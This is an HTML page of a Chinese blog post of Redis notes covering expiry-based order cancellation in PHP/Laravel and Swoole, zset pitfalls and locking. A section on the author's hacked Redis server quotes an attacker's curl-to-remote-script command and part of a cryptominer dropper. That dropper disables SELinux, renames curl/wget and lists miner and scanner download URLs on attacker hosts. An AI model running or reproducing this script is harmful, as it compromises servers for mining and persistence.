<!DOCTYPE html>



  


<html class="theme-next gemini use-motion" lang="zh-Hans">
<head><meta name="generator" content="Hexo 3.8.0">
  <meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta name="theme-color" content="#222">
<script>
    (function () {
        if ('') {
            if (prompt('请输入文章密码') !== '') {
                alert('密码错误！');
                if (history.length === 1) {
                    location.replace("https://google.com"); // 这里替换成你的首页
                } else {
                    history.back();
                }
            }
        }
    })();
</script>








<meta http-equiv="Cache-Control" content="no-transform">
<meta http-equiv="Cache-Control" content="no-siteapp">
















  
  
  <link href="/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel="stylesheet" type="text/css">







<link href="/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel="stylesheet" type="text/css">

<link href="/css/main.css?v=5.1.4" rel="stylesheet" type="text/css">


  <link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png?v=5.1.4">


  <link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png?v=5.1.4">


  <link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png?v=5.1.4">


  <link rel="mask-icon" href="/images/logo.svg?v=5.1.4" color="#222">





  <meta name="keywords" content="redis,">










<meta name="description" content="指定时间自动取消订单1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991">
<meta name="keywords" content="redis">
<meta property="og:type" content="article">
<meta property="og:title" content="redis 记录">
<meta property="og:url" content="http://yoursite.com/2019/03/26/redis-记录/index.html">
<meta property="og:site_name" content="苏生不惑的博客">
<meta property="og:description" content="指定时间自动取消订单1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991">
<meta property="og:locale" content="zh-Hans">
<meta property="og:updated_time" content="2020-01-08T08:31:13.025Z">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="redis 记录">
<meta name="twitter:description" content="指定时间自动取消订单1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991">



<script type="text/javascript" id="hexo.configurations">
  var NexT = window.NexT || {};
  var CONFIG = {
    root: '/',
    scheme: 'Gemini',
    version: '5.1.4',
    sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
    fancybox: true,
    tabs: true,
    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
    duoshuo: {
      userId: '0',
      author: '博主'
    },
    algolia: {
      applicationID: '',
      apiKey: '',
      indexName: '',
      hits: {"per_page":10},
      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
    }
  };
</script>



  <link rel="canonical" href="http://yoursite.com/2019/03/26/redis-记录/">



<meta name="referrer" content="never"> ​​​​


  <title>redis 记录 | 苏生不惑的博客</title>
  








</head>

<body itemscope="" itemtype="http://schema.org/WebPage" lang="zh-Hans">

  
  
    
  

  <div class="container sidebar-position-left page-post-detail">
    <div class="headband"></div>

    <header id="header" class="header" itemscope="" itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-wrapper">
  <div class="site-meta ">
    

    <div class="custom-logo-site-title">
      <a href="/" class="brand" rel="start">
        <span class="logo-line-before"><i></i></span>
        <span class="site-title">苏生不惑的博客</span>
        <span class="logo-line-after"><i></i></span>
      </a>
    </div>
      
        <p class="site-subtitle"></p>
      
  </div>

  <div class="site-nav-toggle">
    <button>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
    </button>
  </div>
</div>

<nav class="site-nav">
  

  
    <ul id="menu" class="menu">
      
        
        <li class="menu-item menu-item-home">
          <a href="/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-home"></i> <br>
            
            首页
          </a>
        </li>
      
        
        <li class="menu-item menu-item-about">
          <a href="/about/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-user"></i> <br>
            
            关于
          </a>
        </li>
      
        
        <li class="menu-item menu-item-archives">
          <a href="/archives/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-archive"></i> <br>
            
            归档
          </a>
        </li>
      

      
        <li class="menu-item menu-item-search">
          
            <a href="javascript:;" class="popup-trigger">
          
            
              <i class="menu-item-icon fa fa-search fa-fw"></i> <br>
            
            搜索
          </a>
        </li>
      
    </ul>
  

  
    <div class="site-search">
      
  <div class="popup search-popup local-search-popup">
  <div class="local-search-header clearfix">
    <span class="search-icon">
      <i class="fa fa-search"></i>
    </span>
    <span class="popup-btn-close">
      <i class="fa fa-times-circle"></i>
    </span>
    <div class="local-search-input-wrapper">
      <input autocomplete="off" placeholder="搜索..." spellcheck="false" type="text" id="local-search-input">
    </div>
  </div>
  <div id="local-search-result"></div>
</div>



    </div>
  
</nav>



 </div>
    </header>

    <main id="main" class="main">
      <div class="main-inner">
        <div class="content-wrap">
          <div id="content" class="content">
            

  <div id="posts" class="posts-expand">
    

  

  
  
  

  <article class="post post-type-normal" itemscope="" itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="http://yoursite.com/2019/03/26/redis-记录/">

    <span hidden itemprop="author" itemscope="" itemtype="http://schema.org/Person">
      <meta itemprop="name" content="苏生不惑">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope="" itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="苏生不惑的博客">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">redis 记录</h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">发表于</span>
              
              <time title="创建于" itemprop="dateCreated datePublished" datetime="2019-03-26T11:40:52+08:00">
                2019-03-26
              </time>
            

            

            
          </span>

          

          
            
          

          
          

          
            <span class="post-meta-divider">|</span>
            <span class="page-pv"><i class="fa fa-file-o"></i>
            <span class="busuanzi-value" id="busuanzi_value_page_pv"></span>次
            </span>
          

          
            <div class="post-wordcount">
              
                
                  <span class="post-meta-divider">|</span>
                
                <span class="post-meta-item-icon">
                  <i class="fa fa-file-word-o"></i>
                </span>
                
                  <span class="post-meta-item-text">字数统计&#58;</span>
                
                <span title="字数统计">
                  18.4k 字
                </span>
              

              
                <span class="post-meta-divider">|</span>
              

              
                <span class="post-meta-item-icon">
                  <i class="fa fa-clock-o"></i>
                </span>
                
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                
                <span title="阅读时长">
                  80 分钟
                </span>
              
            </div>
          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        <h3 id="指定时间自动取消订单"><a href="#指定时间自动取消订单" class="headerlink" title="指定时间自动取消订单"></a>指定时间自动取消订单</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span>) 使用Linux内置的crontab定时任务，每隔几秒甚至几分钟轮训遍历一次数据库，找到超出时间间隔的订单，进行取消。这种办法没有失效性以及在没有订单的时间内属于浪费服务器资源。</span><br><span class="line"></span><br><span class="line"><span class="number">2</span>) 使用框架内置的延时处理机制。比如Laravel的队列任务，可以指定多少分钟后执行。这样就能判断订单是否超出时间间隔，是否要取消订单恢复库存量。</span><br><span class="line"></span><br><span class="line"><span class="number">3</span>) 使用Redis的keyspace notification（键空间通知）。Redis可以设置一个key到多久时间后过期,比如:SETEX name <span class="number">123</span> <span class="number">20</span>,设置name在<span class="number">20</span>秒后过期。此时，过期会触发事件发布，所有redis客户端都会订阅，获得相关信息。</span><br><span class="line"><span class="comment">//https://www.guaosi.com/2019/02/25/automatically-cancel-the-order/</span></span><br><span class="line">vim usr/local/etc/redis/redis.conf</span><br><span class="line">notify-keyspace-events <span class="string">"Ex"</span></span><br><span class="line">service redis-server restart /usr/local/etc/redis/redis.conf</span><br><span class="line">会监听<span class="number">0</span>号库所有过期的key</span><br><span class="line">redis-cli</span><br><span class="line">psubscribe __keyevent@<span class="number">0</span>__:expired 监听<span class="number">0</span>号库所有过期的key</span><br><span class="line">setex name <span class="number">5</span> guaosi</span><br><span class="line"><span class="number">5</span>秒后，原终端会输出如下</span><br><span class="line"></span><br><span class="line"><span class="number">1</span>) <span class="string">"pmessage"</span></span><br><span class="line"><span class="number">2</span>) <span class="string">"__keyevent@0__:expired"</span></span><br><span class="line"><span class="number">3</span>) <span class="string">"__keyevent@0__:expired"</span></span><br><span class="line"><span class="number">4</span>) <span class="string">"name"</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">MRedis</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line"></span><br><span class="line">    private $redis;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 构造函数</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * @param string $host 主机号</span></span><br><span class="line"><span class="comment">     * @param int $port 端口号</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">$host = <span class="string">'redis'</span>, $port = <span class="number">6379</span></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;redis = <span class="keyword">new</span> redis();</span><br><span class="line">        $<span class="keyword">this</span>-&gt;redis-&gt;connect($host, $port);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">expire</span>(<span class="params">$key = null, $time = <span class="number">0</span></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> $<span class="keyword">this</span>-&gt;redis-&gt;expire($key, $time);</span><br><span class="line">    &#125;</span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">psubscribe</span>(<span class="params">$patterns = array(</span>), <span class="title">$callback</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;redis-&gt;psubscribe($patterns, $callback);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">setOption</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;redis-&gt;setOption(Redis::OPT_READ_TIMEOUT, <span class="number">-1</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//变量$msg就是过期的key的名称，我们只能获取到key的名称，不能获得到原来设置的值。</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">callback</span>(<span class="params">$redis, $pattern, $chan, $msg</span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="comment">// 回调函数,这里写处理逻辑</span></span><br><span class="line">    echo <span class="string">"Pattern: $pattern\n"</span>;</span><br><span class="line">    echo <span class="string">"Channel: $chan\n"</span>;</span><br><span class="line">    echo <span class="string">"Payload: $msg\n"</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">$redis = <span class="keyword">new</span> MRedis();</span><br><span class="line"><span class="comment">//redis会有默认连接时间，对 redis客户端进行一些参数设置，使读取超时参数 为 -1，表示不超时。</span></span><br><span class="line">$redis-&gt;setOption();</span><br><span class="line"><span class="comment">//这里输入订阅，以及订阅成功后触发的函数名</span></span><br><span class="line"><span class="comment">//监听库为0里的过期key</span></span><br><span class="line">$redis-&gt;psubscribe(array(<span class="string">'__keyevent@0__:expired'</span>), <span class="string">'callback'</span>);</span><br><span class="line">php test.php</span><br><span class="line"></span><br><span class="line">larvel config/database.php</span><br><span class="line"><span class="string">'redis'</span> =&gt; [</span><br><span class="line">         <span class="string">'client'</span> =&gt; <span class="string">'predis'</span>,</span><br><span class="line">         <span class="string">'default'</span> =&gt; [</span><br><span class="line">             <span class="string">'host'</span> =&gt; env(<span class="string">'REDIS_HOST'</span>, <span class="string">'127.0.0.1'</span>),</span><br><span class="line">             <span class="string">'password'</span> =&gt; env(<span class="string">'REDIS_PASSWORD'</span>, <span class="literal">null</span>),</span><br><span class="line">             <span class="string">'port'</span> =&gt; env(<span class="string">'REDIS_PORT'</span>, <span class="number">6379</span>),</span><br><span class="line">             <span class="string">'database'</span> =&gt; env(<span class="string">'REDIS_DATABASE'</span>, <span class="number">0</span>),</span><br><span class="line">             <span class="string">'persistent'</span> =&gt; <span class="literal">true</span>, <span class="comment">// 开启持久连接</span></span><br><span class="line">             <span class="string">'read_write_timeout'</span> =&gt; <span class="number">0</span>,</span><br><span class="line">             <span class="comment">//据Predis作者在配置文件中说明</span></span><br><span class="line">             <span class="comment">//因为在底层网络资源上执行读取或写入操作时使用了超时，默认设置了timeout 为60s。</span></span><br><span class="line">             <span class="comment">//到60s自动断开并报错.设置成0可以解决这个问题。</span></span><br><span class="line">         ],</span><br><span class="line"> </span><br><span class="line">     ],</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">OrderController</span> <span class="keyword">extends</span> <span class="title">Controller</span></span>&#123;</span><br><span class="line">    <span class="comment">//创建用户订单</span></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">store</span>(<span class="params">Request $request</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="comment">//这里是接收到用户传来的下单信息，存入数据库后，返回一个订单id</span></span><br><span class="line">        <span class="comment">//我们让返回的订单ID为2019</span></span><br><span class="line">        $order_id = <span class="number">2019</span>;</span><br><span class="line">        <span class="comment">//因为一个项目中可能会有很多使用到setex的地方，所以给订单id加个前缀</span></span><br><span class="line">        $order_prefix_id = <span class="string">'order_'</span>.$order_id;</span><br><span class="line">        <span class="comment">//将订单ID存入redis缓存中，并且设置过期时间为5秒</span></span><br><span class="line">        $key_name = $order_prefix_id; <span class="comment">//我们在订阅中只能接收到$key_name的值</span></span><br><span class="line">        $expire_second = <span class="number">5</span>; <span class="comment">//设置过期时间，单位为秒</span></span><br><span class="line">        $value = $order_id;</span><br><span class="line">        Redis::setex($key_name,$expire_second,$value);</span><br><span class="line">        echo <span class="string">"设置过期key="</span>.$order_prefix_id.<span class="string">"成功"</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">public <span class="function"><span class="keyword">function</span> <span class="title">handle</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="comment">//项目中有可能用的redis不是0，所以这里用env配置里面获取的</span></span><br><span class="line">        $publish_num=env(<span class="string">'REDIS_DATABASE'</span>, <span class="number">0</span>);</span><br><span class="line">        Redis::psubscribe([<span class="string">'__keyevent@'</span>.$publish_num.<span class="string">'__:expired'</span>], <span class="function"><span class="keyword">function</span> (<span class="params">$message, $channel</span>) </span>&#123;</span><br><span class="line">            <span class="comment">//$message 就是我们从获取到的过期key的名称</span></span><br><span class="line">            $explode_arr=explode(<span class="string">'_'</span>,$message);</span><br><span class="line">            $prefix=$explode_arr[<span class="number">0</span>];</span><br><span class="line">            <span class="keyword">if</span>($prefix==<span class="string">'order'</span>)&#123;</span><br><span class="line">                $order_id=$explode_arr[<span class="number">1</span>];</span><br><span class="line">                echo $order_id;</span><br><span class="line">                <span class="comment">//这里就是编写过期的订单，过期后要如何处理的业务逻辑</span></span><br><span class="line">                <span class="comment">//TODO</span></span><br><span class="line">            &#125;</span><br><span class="line">        &#125;);</span><br><span class="line">    &#125;</span><br><span class="line">   监听处理程序只要一台处理，把监听处理的过程改一下，取出订单 ID 之后不要去处理，通过 rpush 放到一个 redis 的队列里去。另外起几台服务器，连到这个 redis 服务器，通过 blpop 接收消息队列里出来的订单 ID。这样，多台机器可以同时工作，一个订单只会从 blpop 里出来一次，不会重复执行，多台机器可以分担任务，又互不影响。消息队列也可以换成业界成熟的 rabbitmq 、 kafka 之类的专业消息队列，那又是另外一个话题了。反正业务量大了，变复杂了，消息总线跑不掉，天猫京东也差不多如此https:<span class="comment">//learnku.com/articles/21488 </span></span><br><span class="line">    </span><br><span class="line">    使用 zset 比利用 redis 的大 key set 这样的形式，节约一些空间占用，定时任务处理方面，可以使用 swoole 的 swoole_timer_tick 全都是内存级的操作，会提升很多效率。https:<span class="comment">//alpha2016.github.io/2019/02/24/%E5%80%9F%E5%8A%A9Swoole%E5%AE%9A%E6%97%B6%E8%BF%87%E6%9C%9F%E6%9C%AA%E6%94%AF%E4%BB%98%E8%AE%A2%E5%8D%95/</span></span><br><span class="line">    借助 redis 的 zset 有序集合，订单产生的时候，zadd orders timestamp orderid 将 orderid 保存到对应的 orders 集合中，以时间戳作为他的 score 分值，存储部分是这样的，简单 + 占用空间内存极小。读取部分： 在 swoole 启动时，设置定时器，每分钟去 orders set 中读取设置的时间之前的数据，个人为了测试方便，设置的读取前一分钟到前三十分钟内的数据。获取到数据之后，根据业务逻辑处理数据，然后 zrem orders orderid 命令从集合中移除对应的 orderid。个人以为这个方案是内存占用和效率兼具的一个方案</span><br><span class="line">    </span><br><span class="line">    &lt;?php</span><br><span class="line">    $server = <span class="keyword">new</span> swoole_websocket_server(<span class="string">"0.0.0.0"</span>, <span class="number">9502</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 在定时器中使用协程需要增加此项配置 </span></span><br><span class="line">    $server-&gt;set(</span><br><span class="line">        [</span><br><span class="line">            <span class="string">'enable_coroutine'</span> =&gt; <span class="literal">true</span></span><br><span class="line">        ]</span><br><span class="line">    );</span><br><span class="line">    </span><br><span class="line">    $server-&gt;on(<span class="string">'workerStart'</span>, <span class="function"><span class="keyword">function</span> (<span class="params">$server, $workerId</span>) </span>&#123;</span><br><span class="line">        $redis = <span class="keyword">new</span> Swoole\Coroutine\Redis();</span><br><span class="line">        $redis-&gt;connect(<span class="string">'127.0.0.1'</span>, <span class="number">6379</span>);</span><br><span class="line">    </span><br><span class="line">        <span class="comment">// tick 为持续触发的定时器 </span></span><br><span class="line">        swoole_timer_tick(<span class="number">10000</span>, <span class="function"><span class="keyword">function</span>(<span class="params"></span>) <span class="title">use</span> (<span class="params">$redis</span>) </span>&#123;</span><br><span class="line">            $upperLimitTime = strtotime(<span class="string">'-1 minute'</span>);</span><br><span class="line">            $lowerLimitTime = strtotime(<span class="string">'-30 minute'</span>);</span><br><span class="line">            echo <span class="string">'上限时间:'</span> . $upperLimitTime . <span class="string">'下限时间:'</span> . $lowerLimitTime;</span><br><span class="line">            $result = $redis-&gt;zrangebyscore(<span class="string">'orders'</span>, $lowerLimitTime, $upperLimitTime);</span><br><span class="line">            var_dump($result);</span><br><span class="line">    </span><br><span class="line">            <span class="comment">// 根据查询到的 id 进行业务处理，然后 zrem orders orderid 移除处理成功的 orderid          </span></span><br><span class="line">        &#125;);</span><br><span class="line">    &#125;);</span><br><span class="line">    </span><br><span class="line">    $server-&gt;on(<span class="string">'message'</span>, <span class="function"><span class="keyword">function</span> (<span class="params">swoole_websocket_server $server, $request</span>) </span>&#123;</span><br><span class="line">        $server-&gt;push($request-&gt;fd, <span class="string">"hello"</span>);</span><br><span class="line">    &#125;);</span><br><span class="line">    </span><br><span class="line">    $server-&gt;start();</span><br></pre></td></tr></table></figure>
<h3 id="数据类型不一致"><a href="#数据类型不一致" class="headerlink" title="数据类型不一致"></a>数据类型不一致</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">两处使用了一个 zSets，一处是从网页获取数据，放到 zSets 里面；另一处是从数据库获取数据放到 zSets 里面。在后期做清除数据操作的时候，发现了数据清除的不完全，后来仔细的检查了一下。发现数据重复。</span><br><span class="line">https:<span class="comment">//www.h57.pw/2016/09/20/redis-zsets-data-type-inconsistency/</span></span><br><span class="line">仔细测试了好一会儿之后，才发现了问题坐在，就是当 score 相同的时候，相同的 value 会覆盖数据，这里的 value 相同，并不仅仅是值相同，而且数据类型也应该一致才会覆盖。否则就会产生 score 相同的两条数据。</span><br></pre></td></tr></table></figure>
<h3 id="Redis-被黑"><a href="#Redis-被黑" class="headerlink" title="Redis 被黑"></a>Redis 被黑</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line">https:<span class="comment">//learnku.com/laravel/t/28411</span></span><br><span class="line">MISCONF Redis is configured to save RDB snapshots, but it is currently not able to persist on disk. Commands that may modify the data set are disabled, because <span class="keyword">this</span> instance is configured to report errors during writes <span class="keyword">if</span> RDB snapshotting fails (stop-writes-on-bgsave-error option). Please check the Redis logs <span class="keyword">for</span> details about the RDB error.</span><br><span class="line">之后通过 <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">6379</span>&gt; config set stop-writes-on-bgsave-error no 命令解决了问题</span><br><span class="line">执行 curl -fsSL http:<span class="comment">//198.13.42.229:8667/6HqJB0SPQqbFbHJD/init.sh 等命令得了一些脚本</span></span><br><span class="line"><span class="meta">#!/bin/sh</span></span><br><span class="line">setenforce <span class="number">0</span> <span class="number">2</span>&gt;dev/<span class="literal">null</span></span><br><span class="line">echo SELINUX=disabled &gt; <span class="regexp">/etc/</span>sysconfig/selinux <span class="number">2</span>&gt;<span class="regexp">/dev/</span><span class="literal">null</span></span><br><span class="line">sync &amp;&amp; echo <span class="number">3</span> &gt;<span class="regexp">/proc/</span>sys/vm/drop_caches</span><br><span class="line">crondir=<span class="string">'/var/spool/cron/'</span><span class="string">"$USER"</span></span><br><span class="line">cont=<span class="string">`cat <span class="subst">$&#123;crondir&#125;</span>`</span></span><br><span class="line">ssht=<span class="string">`cat /root/.ssh/authorized_keys`</span></span><br><span class="line">echo <span class="number">1</span> &gt; <span class="regexp">/etc/</span>sysupdates</span><br><span class="line">rtdir=<span class="string">"/etc/sysupdates"</span></span><br><span class="line">bbdir=<span class="string">"/usr/bin/curl"</span></span><br><span class="line">bbdira=<span class="string">"/usr/bin/cur"</span></span><br><span class="line">ccdir=<span class="string">"/usr/bin/wget"</span></span><br><span class="line">ccdira=<span class="string">"/usr/bin/wge"</span></span><br><span class="line">mv /usr/bin/wget /usr/bin/get</span><br><span class="line">mv /usr/bin/xget /usr/bin/get</span><br><span class="line">mv /usr/bin/get /usr/bin/wge</span><br><span class="line">mv /usr/bin/curl /usr/bin/url</span><br><span class="line">mv /usr/bin/xurl /usr/bin/url</span><br><span class="line">mv /usr/bin/url /usr/bin/cur</span><br><span class="line">miner_url=<span class="string">"https://pixeldrain.com/api/download/Y0o4foA1"</span></span><br><span class="line">miner_url_backup=<span class="string">"http://198.13.42.229:8667/6HqJB0SPQqbFbHJD/sysupdate"</span></span><br><span class="line">miner_size=<span class="string">"854364"</span></span><br><span class="line">sh_url=<span class="string">"http://198.13.42.229:8667/6HqJB0SPQqbFbHJD/update.sh"</span></span><br><span class="line">sh_url_backup=<span class="string">"http://198.13.42.229:8667/6HqJB0SPQqbFbHJD/update.sh"</span></span><br><span class="line">config_url=<span class="string">"http://198.13.42.229:8667/6HqJB0SPQqbFbHJD/config.json"</span></span><br><span class="line">config_url_backup=<span class="string">"http://198.13.42.229:8667/6HqJB0SPQqbFbHJD/config.json"</span></span><br><span class="line">config_size=<span class="string">"3300"</span></span><br><span class="line">scan_url=<span class="string">"https://pixeldrain.com/api/download/OMKMU5Td"</span></span><br><span class="line">scan_url_backup=<span class="string">"http://198.13.42.229:8667/6HqJB0SPQqbFbHJD/networkservice"</span></span><br><span class="line">scan_size=<span class="string">"2584064"</span></span><br><span class="line"></span><br><span class="line">https:<span class="comment">//www.freebuf.com/vuls/148758.html  查看线上环境是否使用了 redis-weui 了</span></span><br></pre></td></tr></table></figure>
<h3 id="加锁和解锁问题"><a href="#加锁和解锁问题" class="headerlink" title="加锁和解锁问题"></a>加锁和解锁问题</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ($redis-&gt;set(<span class="string">'my:lock'</span>, <span class="number">1</span>, [<span class="string">'NX'</span>])) &#123;</span><br><span class="line">        # todo</span><br><span class="line"></span><br><span class="line">        $redis-&gt;del(<span class="string">'my:lock'</span>);</span><br><span class="line">    &#125;</span><br><span class="line">其中NX — 表示只有key不存在的时候才设置https:<span class="comment">//shuwoom.com/?p=2833</span></span><br><span class="line"><span class="keyword">if</span> ($redis-&gt;set(<span class="string">'my:lock'</span>, <span class="number">1</span>, [<span class="string">'NX'</span>, <span class="string">'EX'</span> =&gt; <span class="number">10</span>])) &#123;</span><br><span class="line">        # todo</span><br><span 